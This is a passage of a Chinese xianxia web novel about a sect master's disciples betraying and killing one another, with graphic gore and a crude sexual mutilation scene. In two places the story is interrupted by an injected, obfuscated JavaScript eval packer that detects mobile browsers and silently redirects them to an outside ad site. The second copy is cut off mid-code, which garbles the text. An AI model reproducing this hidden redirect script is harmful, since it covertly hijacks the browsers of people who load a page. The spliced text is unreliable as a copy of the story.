“师傅如若要罚便直接罚罢,毕竟师傅想要做的事,即便是伤天害理,正道不容,不也说做便做了吗?”洛水话音刚落,凝无双脸色骤变,怒火中烧,身形一闪,一脚将洛水踹翻在地,冷喝道:“放肆!你敢质疑我?今日我便让你知道门规的厉害!”言罢,手掌凝聚内力,眼看便要落下。洛水却毫无惧色,嘴角勾起一抹冷笑,目光坚定地迎上凝无双的怒视。 那种目光,正是凝无双最讨厌最恨的目光,无论何时,都坚韧不屈的目光,无论何地,都誓死捍卫自己信念的目光。凝无双心中一震,手掌微微颤抖,终究未能落下。洛水缓缓站起,拍了拍身上的尘土,冷声道:“门规森严,可也只是针对弟子,我只是一名杂役,不受门规束缚。师傅若不满,大可逐我出山,何必多费口舌?” “好一张伶牙俐齿的嘴啊!当日,我怎么没把你的舌头也连着一起拔下来呢。”凝无双怒极反笑,眼中杀意一闪即逝,终究深吸一口气,冷哼道:“今日暂且放你一马,立刻与我去主峰面见掌门。还有,怎么成毅也不见了?” “大抵是昨日过于劳累,未曾听见师傅您的呼喊吧。”跪着的一个弟子回答,凝无双皱了皱眉,想到昨日掌门殿前那一群歪倒在地的弟子,心中不禁涌起一股烦躁。 “去把他叫起来,怎能如此轻贱门规,这都要日上三竿了。”凝无双说完,弟子领命,匆匆离去。洛水在一旁语气阴阳地附和道:“就是,作为弟子,怎能如此轻贱门规。也只有我这种命不好的,不受门规束缚,哎,这么一说,这是不是算另一种命好啊。” 洛水的话引得跪在地上的众人纷纷抬头,眼中闪过对洛水大胆言辞的震惊,众人心中只觉顾青一定是疯了,竟然是师傅面前,如此疯言疯语。凝无双目光如冰,冷冷扫过众人,心中怒火更盛,却强压住情绪,脸上青筋尽显地说道:“你多说点,一会我看你还怎么说。” “啊!!!!!!!!!!”一声凄惨的尖叫,打破了凝无双与洛水的对话。声音是从弟子院落传来的,众人闻声,赶紧站起来冲向了声音的源头。 进了弟子居住的院落,只见刚才被差遣叫人的弟子,此刻脸色惨白摊到在地,双手捂着嘴,因为惊吓过了眼泪止不住地往外冒,一见众人跑来,那弟子赶紧冲了过来,抱住凝无双的大腿喊道:“师傅,师傅……师兄他,师兄他……” “他怎么了?说啊!”凝无双一脚踹开弟子,但那弟子依旧无法言语,只是惊恐地指着打开的房门,仿佛那房门之内,有极为恐怖的东西。 “废物!”凝无双绕开那弟子,径直走向放门处。 天还未全亮,映入凝无双眼帘的,是凌乱无序的房间。幽暗的房间内,空气中弥漫着过于浓烈的怪异气息,似乎是某些东西与汗液纠缠后才有的味道。一盏未灭的黄灯照在床上,床单上参透出浓烈而刺眼的红色。眼光上移,只见一人无力地躺在床上,面色如纸,眼神中透着无尽的绝望和空洞。他的身下是扔掉的衣物,还有一滩滩的液体,仿佛诉说着这是无尽欢愉的残骸。 床上那人,正是成毅!此刻的他,双眼瞪大,满是血丝,舌头外露,眼歪嘴斜,不住地呢喃着:“好弟弟,啊,好弟弟,你,你真是哥哥的……”成毅似乎捧着什么东西在说话,脸上尽是下作的贪婪之相,成毅不时地把手中捧着的东西凑近嘴亲了又亲,众人看了好一会,待看清成毅手中之物时,几个弟子立即奔跑出一边呕吐了起来。 成毅捧着的,正是他自己的子孙根。成毅变身赤裸,身上不知是被何东西咬了,一个又一个的血窟窿,此刻正不断地淌着血,成毅的声音沙哑至极,如同喉中含着一块滚烫的热碳,正赤裸裸地灼烧他的咽喉。成毅的神态,动作,只能用下流形容,每一个看见他的人,都在呕吐,就连凝无双也差点没压住汹涌往上的恶心感。 “弟弟,我好想要,我们……我们再来一次,最后一次,如何!”成毅如同着了魔,放下手中的东西压于身下,做出欢爱时的姿势,看得众人又恶心又脸红。 “青儿,你好美,虽然你是个男人,但是……但是我每次看见你,都想要你!你那么骄傲,拜入师门那么久,你从不与我亲近,你骄傲个屁!我告诉你,你有冰凌圣根的事,根本不是师傅感应的!是我,是我和她说的!对,就是我,我就是要揭穿你,我就是要看你被师傅拆了仙髓,我就是要看你变得比狗还下贱,我让你,我让你从不正眼看我!”成毅的声音从温柔慢慢变成凶悍,一字一词听得人毛骨悚然。 “青儿你好美,你就算伤成这样,你也好美!你还记得吗,那一晚,你被师傅拔了仙髓,你躺在床上无力哭泣时,更美了,美得如同天仙。我控制不了,我必须要了你,我要你狠狠记住那一夜,你必须是我的,你,你只能是我的!” 成毅的话越发下流,动作也越发激烈,他身上飙出的血也就更加汹涌,众人听着成毅的话,眼神都看向了顾青,但此时的顾青,抱着双手,站在众人身后,一脸的笑意。这份笑,有些瘆人,有些得意,有些阴险,看得人心里发毛。 成毅越发癫狂,凝无双再也忍受不住,刚想踏进房拉起成毅,便是脚下一滑,不知踩到了什么,只觉脚底下是黏腻腥臭的液体。 “青儿,你好美,让哥哥亲一下!”成毅癫狂地把身下之物塞入口中,伸出舌头舔舐,凝无双双眼一瞪,一股凶狠之气爆出,双手掐诀,身上祭出一把锋利长剑,随后用力一挥,长剑贯穿成毅脑袋,爆炸出一团血雾,空气中糜烂的味道瞬间被血腥气盖了过去。 “啊啊啊啊啊啊啊啊啊啊!”众弟子被凝无双这突然起来的凶狠吓得四散而逃,只剩余一个哑娘因惊恐过去晕厥了过去。凝无双猛然回头,手中迅速掐诀,一股无形的念力瞬间缠绕上顾青的脖颈,她双眼怒睁,凶狠地质问道:“是不是你干的!是不是!” “我已经说了…我…昨晚…去,去吃…宵夜…了。”顾青脖子被掐着,说出的话也是支离破碎的,凝无双另一只手一挥,那把贯穿成毅脑袋的剑立即从房中飞驰而来,直对着顾青的脑袋,在仅剩几寸时又停了下来。 “你别以为,我不会杀你!”凝无双咬牙切齿。 “啊哈哈……那你为何还不动手……” “姑且再让你活几个时辰,很快,我便让你从这个世间消失,我要让你挫骨扬灰。”凝无双手一松,顾青跌倒在地,剧烈咳嗽,眼中却闪过一丝不易察觉的冷笑,手里迅速收回了一张红色符箓。“跟我,去见掌门!”凝无双说话间,掏出一张符箓丢进成毅的房间,赤红色的火焰立时铺满整个房子,熊熊火光吞没了一切,顾青看着火光之中,那具焚烧后慢慢粉碎的身体,只觉胸中之下涌出一股铺天盖地的愉悦。 ‘别急,好戏,还在后头呢’洛水按住心中的愉悦,转身走向哑娘,一把把她抱起。 “我说了,立刻和我去见掌门!”凝无双目睹顾青的举动,迅速催动法咒,长剑犹如寒光一闪,浅浅嵌入顾青的颈侧,一抹殷红瞬间绽放,空气中弥漫起淡淡的血腥气息。 “如师傅所说,再过几个时辰我就得被你挫骨扬灰了,那此刻师徒一场,多给我几分钟的时间又如何?难不成你还怕我跑了?”顾青抱着哑娘,面无表情,凝无双不知为何,顿时对眼前的顾青只觉得陌生无比,一股莫名的危险从心头涌出,凝无双心中涌起一股强烈的冲动,想要立即挥剑斩下顾青的首级,但一想到掌门尚需此人,只得强压下这股杀意。 “快。”凝无双终是妥协了。 洛水抱着哑娘,快步走进了自己的房间,刚把哑娘放到床上,哑娘也刚好醒来。 “听着,听着!”哑娘还未从惊吓中缓过神,但是洛水却一把捂住她的嘴,神情严肃地说道:“无论如何,不要踏出这个房间,不许开门,不许开窗,无论听到什么声音,你只当听不见就行。” 哑娘的双臂被洛水紧紧抓握,她只能点头,眼中满是惊恐与不解。洛水拍了拍哑娘的肩膀,语气稍缓:“记住,这是为了你的安全。两日后,待太阳出来,你再出去,我知道你认识很多下山的路,到时候你拿着这个包裹走,里面有几个小玩意儿,你拿去当掉,再找个地方置几亩田,买个房子过日子。” 洛水从衣橱里拿出一个破布小包塞到哑娘手中,哑娘不懂洛水所说话语是何意思,只是不住地点头,手紧紧攥着小包,泪珠在眼眶中打转。 “好了没有!”凝无双的声音从门外传来,带着不耐与焦躁。 “记住了!不要出去!”洛水深吸一口气,再一次拍了拍哑娘的肩膀,转身走向门口,声音低沉:“好了,走吧。”哑娘看着他离开的身影,想上去拉住,脑里却响起顾青的叮嘱,终究没有动弹,双眼含着泪,一下子把脸埋进了包裹里。 凝无双站在门口,看见顾青出来,嘴角上扬,露出一抹冷笑:“准备好了吗?” “准备好了。”洛水浅浅一笑,凝无双御动法力,两人一同飞向了主峰。 两人刚落地掌门殿前,就看见掌门正和其余三人聊着什么,看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116019|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛水和凝无双的身影后,掌门最先迎了上来,上下打量了一番洛水,微微点头,语气淡然:“不错,不错。” 洛水看着其余几人看向自己的眼神,已大致猜出了掌门这两句不错的意思,但依旧拱手作礼,笑言:“弟子拜见掌门,以及问各位师叔伯好。” 听见洛水的问候,几人先是一愣,随后纷纷点头回礼,眼中闪过一丝复杂的神色。掌门轻咳,正色道:‘青儿,门派正值危难之际。你是无双自山下村落精挑细选的孤儿,亦是雪霜门天赋异禀的奇才。数十年来,天山派倾尽资源,助你修为精进。此刻,望你勿忘师恩,勿离门派于危难之中。’掌门的话听着恭维客气,但是句句藏刀,洛水淡然一笑,未再多言,仅再行一礼,轻声应允:‘弟子定当尽心竭力,以报师门之恩。’ 掌门扯了扯嘴角,手中拂尘一甩,对着身边的弟子道:“传令下去,今日我与众师叔伯有要事商议,掌门殿除了各门的亲传弟子,任何人不得靠近,让其余弟子们都去习武场打坐修炼罢。” “是。”那弟子领命,转身离去,只留下几个修为颇高的弟子。 “你们,今日为我们在此守殿,不得任何人靠近。”掌门看了一眼这几个弟子,有点疑惑地看向凝无双,问道:“师妹,成毅呢?” “死了。”凝无双冰冷回答。 “什么?怎么死的,是否是其他门派潜入暗杀?” “我杀的。” 凝无双的回答让在场众人一惊,掌门等了一会也不见凝无双回答缘由,想来凝无双不主动说也没人能撬开凝她的嘴,故而转身向洛水说:“青儿,请。”洛水听闻此言,毫不犹豫地撇下众人,大步流星地迈入掌门殿,对身后众人那意味深长的眼神视若无睹。 刚入殿内,便看见一尊以冰雕塑的人像,冰雕人像栩栩如生,却寒气逼人。洛水小跑着上去,对着人像一拜,然后回头问道:“这便是开派祖师吧,我还是第一次进掌门殿,从未见过开派祖师的人像。”说罢,洛水绕着人像转了一圈,细细观摩起来。凝无双立即开口阻拦:“休得无礼,掌门殿岂是你胡乱……” “哎,无事,看几眼无妨。”掌门出言打断:“祖师爷英灵庇佑,你既是门中弟子,瞻仰一二也无妨。” “我也就看看,好奇一下,师傅老人家好生小气。”洛水从冰像后面走了回来,整个人坐到了殿中央,另外五人对顾青这般主动的举动有点惊愕,但也没说什么,各自走向一旁的蒲团。掌门缓缓落座,手中拂尘轻轻一抖,随即口中念念有词,伴随着低沉的口诀声,几道机关悄然运转,紧接着,殿内四周的墙壁仿佛被无形之力推动,缓缓向两侧移开,露出了场地中央缓缓升起的金柜。 这金柜周身萦绕浓郁灵气,细看还能看到金柜上有数道密文咒术,正死死地裹住金柜。掌门凝视金柜,忽然开口道:“青儿,你可知今日找你来所为何事?” “不知。”洛水盘坐着,歪着脑袋斜着身子回答道。 “冰凌圣根的炼化已快一年,集我们五人之力,也始终无法炼化,所以今日唤你来,便是让你来助我们一同炼化这冰凌圣根。” “炼化这等圣物,耗时十数载乃至百年,都是常事。掌门大人如此急切,莫非是修为已至瓶颈,大限将至,亟需圣物之力助您突破?”洛水的话一出,围坐在周遭的几人脸色均是一变。凝无双率先御动灵力,祭出一条长鞭法宝,直直朝洛水甩去。一鞭下来,洛水只觉皮肉爆裂,一股电流伴随着血液流窜进体内,洛水身形一晃,剧痛之下,不由自主地倒在了地上。 “本座要你,重新把冰凌圣根纳入体内,以助我们炼化此物。”掌门目光冷冽,扫过痛苦挣扎的洛水,声音如寒风刺骨般说道。 “重新纳入体内?你们是要把我的肉身和冰凌圣根一同炼化了?”洛水忍着痛,用手慢慢撑起身子,咬牙切齿问道。 “正是。” “此乃妙计,仙髓与人体同源,一旦离体,缺失元神蕴养,加之他人灵力迥异,仙髓便成了灵力深渊,炼化所需灵力浩瀚无垠,掌门及师叔伯们久攻不克,看来皆因灵力匮乏所致。”洛水的话刚说完,凝无双又是一鞭,同样的痛楚又来了一遍,洛水再一次倒下。 “看来你涉猎甚广,我们猜想了许久的方法,你早就知道。”凝无双冷眼看着地上的洛水,语气满是嫌恶。 “呵呵,不过机缘巧合,多涉猎了几分师父未及之皮毛,些许杂学罢了。”洛水趴在地上,喘着粗气依旧是一脸的笑,看得凝无双心中火气更盛,举起手中长鞭想再来一鞭。 “师妹,住手!”无垢的拂尘应声而动,缠住了凝无双举鞭的手,语气严厉道:“你的惊雷鞭凡人接三下必死无疑,你想杀了他不成?” “就是,先把正事做了,一会我们让你第一个给他脊背开刀不就成了。”劈山吧嗒着嘴,应和道。凝无双闻言,甩开无垢的拂尘,冷哼一声:“让你再苟活一会。” 10. 十、伺机而动(四) 众人不再说话,掌门首先念动口诀,金柜上的密文咒术逐渐消散,灵力如潮水般汹涌而出,瞬间将倒地的洛水淹没,疼痛在灵力的抚慰下逐渐减轻。如若不是这具身体已成活尸,疼痛感衰减许多,刚才的那两鞭已能让人痛到昏厥。趁着这灵力冲洗时刻,洛水还稍稍运气多吸了两口。 “开!”掌门一声喝令,金柜盖子缓缓挪动,随后,柜内之物径直飘了出来。 一根晶莹剔透树干形状的物体展现于众人眼前,除了洛水,其余人眼里都没惊奇之色。这根物体,正是从顾青身上剥下的仙髓,亦是水系冰系法术修炼者终其一生都想得到的圣物——冰凌圣根。 洛水尚未来得及多看几眼,一股无形的力量便将他束缚,四肢仿佛被无形的绳索吊起,身体缓缓升起,与冰凌圣根遥遥相对。蒲团上的几人眼神交流,同时御动法力,冰凌圣根随机被缓缓推向洛水。 伴随着灵力的越发膨胀,处于灵力中心的洛水,身上本就破烂的袍子被灵力震得稀碎,露出了赤裸的上半身,一道可怖至极的树状伤痕也展露于众人眼前。伤痕与冰凌圣根遥相呼应,仿佛血脉相连,洛水只觉身体开始变得火热,不明的伤痛开始出现,这股伤痛并非来自□□,而是从元神之中狠狠扎出的疼痛。即便洛水已咬紧牙关,但这股疼痛愈演愈烈,仿佛就要把元神扎穿捣烂,洛水实在忍不住,不得不张口呐喊。 “啊!”洛水的叫喊,似乎是某种呼唤,冰凌圣根猛然发出耀眼光芒,与伤痕共鸣,灵力如潮水般涌入洛水体內,瞬间冲散了那股剧痛。众人目睹此景,神色各异,掌门微微点头,似是预料之中。洛水在璀璨光芒的包裹下剧烈颤抖,泪水、鼻涕与口水交织而下,显得无比狼狈。与此同时,冰凌圣根如灵蛇般缓缓游移,紧贴洛水背部的伤痕,一寸寸,一点点,直至整根圣根猛然爆发出前所未有的耀眼光芒,仿佛要将空间撕裂,瞬间灼穿了洛水背部的伤痕,空气中随之弥漫起一股刺鼻的焦糊味,洛水的叫喊变得更为激烈,但施法的五人并未有任何迟疑,依旧全力催动法力,把冰凌圣根往洛水身上按压下去,直至冰凌圣根完全嵌入伤痕,洛水身体猛然一震,双眼暴睁,口中发出一声凄厉长啸,灵力狂涌,瞬间将周围空气冻结成霜。 掌门手势一变,灵力骤然收紧,大喊道:“冰凌圣根已推回去了,快,上咒枷!”众人得令,立即变换结印手势,改变法诀,一个阵法现于洛水脚下,数十道黑色锁链鱼贯而出,将洛水牢牢捆住,锁链嵌入皮肉,深入经络,一下子就止住了洛水体内狂暴的灵力。 洛水没了灵力支撑,身体如断线的风筝般坠落,重重摔在地上,众人喘息未定,凝视着晕厥在地的洛水,无垢手按胸口,急促地问道:“成了吗?” “稍等,让我下去看看。”凝无双轻步走下蒲团,手中拿着惊雷鞭,始终对着晕死过去的洛水,一副随时削去洛水项上人头的准备。但洛水始终没有任何反应,只是在地上浅浅地呼吸着,眉目紧锁,仿佛在忍受着无形的折磨。凝无双御动神识探入洛水体內,发现冰凌圣根已重新附上顾青的身体,而刚才的咒枷,也成功地锁住了洛水的各方经络,灵气完全无法流动。 “成了。”凝无双吐出一口气,心里重石得以松懈。 “如此,是否可以开始了?”劈山在一旁问道,目光锐利如刀。掌门沉吟片刻,点了点头。 “掌门,让我来。”凝无双立即接话,手中惊雷鞭一抖,变成了一把弯刃利刀,指向洛水脊骨。凝无双深吸一口气,刀锋精准对准,正欲下手,突然,洛水猛地睁开双眼,眼中闪过一丝清明,眼神对上了凝无双,语气脆弱地问道:“师傅,为何要这样对我?” 洛水的突然苏醒与问话,令凝无双措手不及,身形一晃,倒退两步。掌门则冷声喝道:“青儿,为了本派大义,你须速速配合!你师傅刀法精湛,定会让你无痛而终!” “真的吗?可是师傅她老人家,不早就让我痛苦万分了吗?”洛水双手撑地,勉强直起身子,目光紧锁凝无双,嗓音沙哑地低吟:“生剥仙髓之痛,可有人能感同身受?师傅,那日您下药于我,我并非全然无知,您的刀刃如冰,手指僵硬,每一分每一寸,自肌肤至经络,冰凌圣根被生生剥离,那一刻,您可曾还记得,我是您的弟子?是您亲手带回的弟子?” “住嘴!!!”凝无双双目灌满血丝,挥着刀冲向洛水,刀面直指洛水脑袋。 “住手!”无垢拂尘瞬间飞出,缠上了凝无双全身,无垢也离开蒲团,一把拉紧手中拂尘,把凝无双的身子狠狠裹住。无垢厉声道:“师妹,切勿冲动,一旦砍了他的头颅,他元神便会立即消散,到时冰凌圣根亦会瞬间枯萎,我们这么久的努力,就全然白费了!” “放开我!我要杀了他!我要杀了这个贱人!我要杀了这个我亲手带回来的贱人!”凝无双双目的血红更甚,嘴里不停叫唤着,掌门见状,御动法诀,一股冷冽清风吹向凝无双,这才稍稍压下了凝无双眼中的血红之色。 “怎么回事?师兄为何要用冰心卸魔诀?”无垢不解。 “她有些入了魔。”掌门双眉紧皱。 “什么?”另外三人齐齐一惊。掌门上前,俯下身子看着凝无双仍未褪去血色的双眼,肯定道:“确实入了魔,但并非彻底入魔,可能是顾青说的话,扰起了她的心魔,故而才乱了心性。” “身为正道中人,师妹相较于我等,似乎更易动杀念,想来是嗜杀之性渐渐侵蚀了师妹的清净之心。”无垢收回拂尘,居高临下地看着凝无双,眼神里闪过一丝异样神色。 “试问哪家正道,竟敢妄行生剥弟子仙髓之举?正道同盟早有明文规定,仙髓炼化实乃违逆天道之举,即便有所炼化,亦只针对魔道修士,且其炼化所得内丹,严禁私自服用,仅可用于喂养灵兽。如今,无垢师叔仍以正道自诩,难道不觉自身行径荒谬可笑吗?”洛水此刻已缓过了神,语气较之之前精神了一些。 “你尽管畅所欲言,我并非你那无能之师,你的区区数语,休想撼动我心。”无垢一声冷哼。 “几位长辈自然是不会受我这种小弟子挑拨,我只是很好奇,掌门到底承诺了什么,才让诸位师叔伯,如此死心塌地跟着掌门犯下这滔天大罪,陷天山派于万劫不复。”洛水并未停下,那头劈山听闻后,一个跳跃,一脚踩上洛水的双腿,‘咔嚓’一声,一股血腥味喷涌而出,洛水的双腿径直被劈山的踩踏,硬生生踩断了。 “啊!”洛水的凄惨叫声再起,劈山捋着卷曲如铁丝般的胡子,嘴角勾起一抹不屑,唾了一口痰在地上,骂咧咧道:‘这小崽子,何德何能让我们在此白费唇舌?不能取他项上人头,难道还不能废他双腿?师妹,你的心肠还是太软了些。’ “善哉善哉。”无垢冷眼瞧着洛水断裂的双腿,那露出的森森的白骨,语气冰冷地念叨了一句。 “好了!时间紧迫,速速剖开他的脊椎!”掌门的声音已然有些不耐烦,一直在角落不言语的众人师弟跳了出来,手里握着一把匕首,笑道:“哎呀,我来我来,哪里用得着脏了各位师兄师姐的手啊。” “森荣那就你来,其余人,做好准备,一旦露出冰凌圣根,立即用一味真火炼化。”掌门甩了甩拂尘,站到了后方。森荣舔了舔手里匕首的利刃,一把抓住洛水的头发,硬生生地把洛水从地上提了起来,邪恶地笑道:“对不起啦小徒孙,我可要来啦!” 森荣举手,匕首直向洛水背部刺去! ‘扑哧’,一块皮肉被破开,血液伴着血肉散落在地的声音响起,众人一惊,无垢最先发出声音,厉声大问:“凝无双!你在干什么!” “我说了!这个贱人的命!我要亲自取!”凝无双不知何时站了起来,手中的弯刀利刃,已经刺穿了一人,血液正沿着刀刃滑落而下。森荣不可置信地回头,看着凝无双,七窍也因为重伤冒出了血,森荣嘴里含血不可置信地问道:“师……姐,为什……么。”话音刚落,森荣已睁着眼倒在了地上,没一会便断了气。 “为什么?就凭你师傅把本属于我的筑基丹给了你!害我晚了八十年才筑基。这失去的八十年!你拿什么赔我!”凝无双手中利刃一抽,不顾众人诧异眼神,依旧向着洛水头颅劈去。 “噹!”利刃未能准确砍向洛水脖颈,劈山已祭出自己的本命法宝,一个酒葫芦,挡住了凝无双的一击,劈山厉声道:“凝无双!你入魔了!快点醒过来!” “我入魔?我的好师兄,要不我告诉你个秘密,你听了,也得入魔!”凝无双眼神一转,看向身后的无垢和掌门,笑了好大一声:“你可知道,你心心念念了大半辈子的师姐,早已与掌门有了夫妻之实。你还以为你能捂热师姐冻住的心?捂了大半辈子,没想到师姐早就爬了别人的床吧!” “凝无双!你这个疯子血口喷人!”无垢拂尘一甩,怒气道,拂尘如蛇一样疾驰而去,凝无双身形退后,一手掐诀,一团烈焰冲天而出,直直烧向无垢的拂尘。烈焰滚滚,带着无尽热浪,无垢一时躲闪不及,拂尘顷刻被烈焰吞噬,而烈焰并未消散,依旧向着无垢冲去。 “破!”一道冰气跃然而起,烈焰瞬间被冰气压住,‘噗’一下,化为了缕缕黑烟。 “无双!你要杀了你师姐吗?”掌门扶住被烈焰击退的无垢,厉声问道。 “修炼了那么多年,师姐竟连我的杂修火功都挡不住,也不知师姐的修为是给了谁。劈山师兄,当年你也是师傅中意的掌门人选,偏偏有人,比你入门迟,修炼比你快。你猜为什么?我今日便告诉你答案吧,是师姐和掌门靠双修之法,师姐把多年功力渡给了掌门,才助他登上了掌门宝座,没想到吧,即使你和师姐青梅竹马,可她心里又有你几分!”凝无双疯癫地笑道,劈山的脸色闻言,越发通红,大喊:“你胡说!!!”并祭起法宝向凝无双袭去。 “不信,你向师姐索要她腰间挂坠,那里有个暗格,你打开看看,里面是谁的名字!”凝无双一边躲闪劈山的法宝,一边说着。 “劈山,无双入了魔,你不可信她的胡言乱语!”掌门厉声道。 “给我。”劈山没有继续攻向凝无双,而是转身看向无垢,伸出了右手,缓缓道。 “什么?”无垢的脸色一青,下意识地把腰间挂坠往后别了一下。劈山见状,御动灵气,身形一闪,无垢腰间挂坠已落入劈山手里。并无半句废话,劈山抠开挂坠暗格,一张小纸塞在其中,纸业早已泛黄,想来已有许久时间,但纸业被保存得很好,并无任何损坏。劈山的手有些抖,想伸手拿出纸业,另一只手却挡住了他,掌门神色凝重:“劈山,此事复杂。” 劈山目光如炬,推开掌门的手,毅然抽出那张泛黄纸条,是一张姻缘符,上面赫然写着“无垢楚水”四字。劈山心念电转,瞬间明白一切,楚水正是掌门本名。无垢面如死灰,再无言语。 “师妹!你……骗得我好苦啊!”劈山声音颤抖,眼中怒火与痛楚交织:“那年掌门竞选,你说我并非善于统筹大计之人,修为也与他不分高低,何不只做个山头师傅,落得清净还能快速增进修为。原来,你诸多言辞,非真心忧我,实乃惧我阻你心上人之路!”劈山握紧纸条,泪水在眼眶打转,转身怒视掌门:“楚水,你利用无垢,窃取掌门之位,今日我必讨回公道!” 劈山手中灵气涌动,法宝光芒四射,劈山毅然决然地向掌门楚水发起挑战。 “劈山,你冷静点!凝无双疯了,你也跟着疯吗!眼下最要紧的事是什么!你忘了吗!”掌门楚水急切地喊道:“入侵在即,内乱只会让师门陷入危机!与我现在速速炼化冰凌圣根才是正事!” “去你*的冰凌圣根!炼化了又如何,不过是像以往那般,所有的功劳都是你的,所有的成果都是你的!所有人都只是你登上下一步的踏脚石!”劈山怒吼,灵气狂涌,法宝直指楚水。 楚水面色一沉,冷声道:“劈山,你若执迷不悟,我便只能将你逐出师门,以正视听!” “去你**的师门!这些年如若不是我在外头拼死打杀,天山派如今的修为资源哪里来?就靠你那张嘴吗?当上掌门那么些年,修为不仅都是靠其他人供养,没想到你私下,竟还活得那么滋润,你*****”劈山的话粗鄙低俗,却字字如刀,直刺楚水心窝。 楚水面色铁青,冷哼一声:“劈山,别怪我!”说罢,御动灵力,一柄金色长剑祭出,剑光如虹,直逼劈山。劈山毫不示弱,掌中灵气凝聚,化作一面青色巨盾,硬生生挡下剑锋。两股力量相撞,震得整个大殿颤动不已。劈山怒目圆睁,口中念念有词,瞬间四周风起云涌,灵气狂涌,战局愈发激烈。 楚水剑势凌厉,劈山盾坚如磐,两人招招见血,掌门楚水忽觉灵气波动异常,心中一凛,急退数步,却发现劈山眼中闪过一丝决绝。劈山低喝一声,灵气骤然爆发,青色巨盾化作一条狂龙,直扑楚水。楚水冷汗直流,金色长剑急挥,勉强抵挡。大殿内碎石飞溅,灵气四溢,两人均已伤痕累累。 “啊哈哈哈哈!打得好!”凝无双双眼之中的血红更甚,狂笑中夹杂着疯狂:“我早就看你们不顺眼了!个个都自诩正义,实则满腹私欲!特别是你!无垢师姐!以前便装得一副冰清玉洁的模样,没想到吧!你的伪装也被我戳破了!” 无垢顾不上身后凝无双的叫嚣,目光坚定地望向劈山与楚水,那两人的战况越演越烈,而两人所用之招也越发没有顾忌,灵气肆虐,招招致命。 “就你这修为,还想突破升阶元婴!我呸!今日那冰凌圣根老子要了!我还要把你的仙髓也给一起炼化了,助我早日进阶!”劈山狂笑不止,眼中凶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“劈山,别说话了!快屏气凝神,你的元神就要散了!”无垢捂着劈山身上的窟窿,但无奈太多,只能眼睁睁地看着劈山的灵气随着冒出的血渐渐涣散,劈山倒在地上,眼神逐渐迷离:“那年,是你……是你亲口说,长大了,要嫁于我的。怎的,只有我一人信了,也只有我一人等了……”劈山的嘴角冒出更多的血,无垢流着泪想捂住,但已无任何回天之术,劈山的双眸看向无垢,用尽最后一口气说:“不爱,就别对着我流泪,我……心疼。”语毕,劈山吐出最后一口气,元神彻底涣散。 “啊啊啊啊啊!”无垢双手沾满鲜血,眼中泪水迅速被血水淹没,一头乌黑长发,瞬间转为银白。楚水立即制止无垢,大喊:“无垢!不要乱了心智!你即将堕魔了!” “凝无双!看看你做的好事!”无垢催动全身法力,双手指甲瞬间伸长七寸,灵力缭绕其上,一把推开楚水,疾冲向凝无双。 “来得正好!这些年,我早就看不惯你了!天天装什么清高仙子!也不瞧瞧自己那岁数,做人家的祖宗都绰绰有余!在我面前摆什么谱!”凝无双举刀迎击,同时掏出数张符箓,只见符箓化开,数道闪电和火焰随即飞出,率先击向无垢。 无垢冷笑,身形如鬼魅般闪避,指甲划破空气,发出刺耳的尖啸,瞬间割裂闪电与火焰,直逼凝无双咽喉。凝无双面色骤变,急退数步,刀锋横挡,却仍被无垢指甲划出一道血痕。 “不愧是你师姐,我以为你的法力早就全渡给掌门了,没想到,你还有这一手。”凝无双冷哼,手中刀光骤盛,法力激荡,瞬间布下三层防护罩。无垢眼神凌厉,指甲灵光更甚,直破防护,逼近凝无双。凝无双咬牙,挥刀反击,刀尖带起一阵狂风,却仍难挡无垢凌厉攻势,血痕渐深,局势愈发紧张。无垢眼中杀意更浓,指甲灵光暴涨,瞬间穿透凝无双防护,直逼其心脉。 凝无双惊恐,急退中祭出最后一张符箓,爆发出耀眼火光,试图阻挡。无垢冷哼,一手击向火光,火光瞬间轰炸,只见一只手臂被炸飞。凝无双冷笑一声,而下一秒,无垢另一只手直刺凝无双胸口,刹那间鲜血飞溅,凝无双惨叫倒地,胸口一片血污。 无垢眼中怒火未消,冷冷俯视着倒地的凝无双,单臂缓缓抬起,灵力汇聚于指尖,声音冰冷:“你以为这样就结束了?我要你求生不得,求死不能。”话音未落,无垢再次举手,凝无双瞳孔骤缩,快速调动残余法力,数十枚冰刺自地面激射而出,寒光凛冽,直指无垢。无垢轻蔑一笑,身形瞬移,冰刺擦身而过,单举一手再次击向凝无双咽喉,凝无双咽喉一凉,鲜血喷涌而出,眼中生机渐逝。 无垢冷眼旁观,心中却无一丝快意,只余无尽空虚。刚想开口说话,一枚巨大的冰锥自凝无双喷洒的鲜血中化出,直冲无垢面门,两人距离实在太近,无垢无法躲闪,冰锥直击无垢面门,贯穿而去。无垢身形一顿,鲜血顺着冰锥滴落。她缓缓倒下,与凝无双并排而卧,两人气息皆无,四周灵力渐渐消散,只余一片死寂。 “无垢!”楚水目眦欲裂,冲上前去,却见两人已无生机,心中悲痛欲绝,仰天长啸:“为何会这样!” “还能为什么,因为你们的贪嗔痴,这些都是你们该有的报应。”一个声音响起,楚水循声望去,只见洛水缓缓走来,面无表情。 “你!你怎么会,你不是!”楚水看向刚才洛水倒地的地方,那里空无一物,而眼前的顾青,□□完好,并未有半分损伤。 “你……”楚水声音被打断,楚水只觉自己上嘴唇和下嘴唇被牢牢黏住,喉咙干渴无比,仿佛被无形之力束缚,竟无法言语。 “别挣扎了,我给你上了禁言术,除非你把你嘴唇的肉用刀割开,不然没办法说话的。”洛水冷眼看着楚水,语气平静:“你肯定很想知道怎么一回事,来,我带你看。”洛水说话间,楚水再次御出金剑,刺向洛水,金剑却在距其寸许处停滞不前,仿佛撞上无形屏障。洛水轻笑,挥手间,金剑化作光点消散,楚水身形一僵,眼睁睁看着自己被无形之力拖拽,瞬间移至冰雕后面。 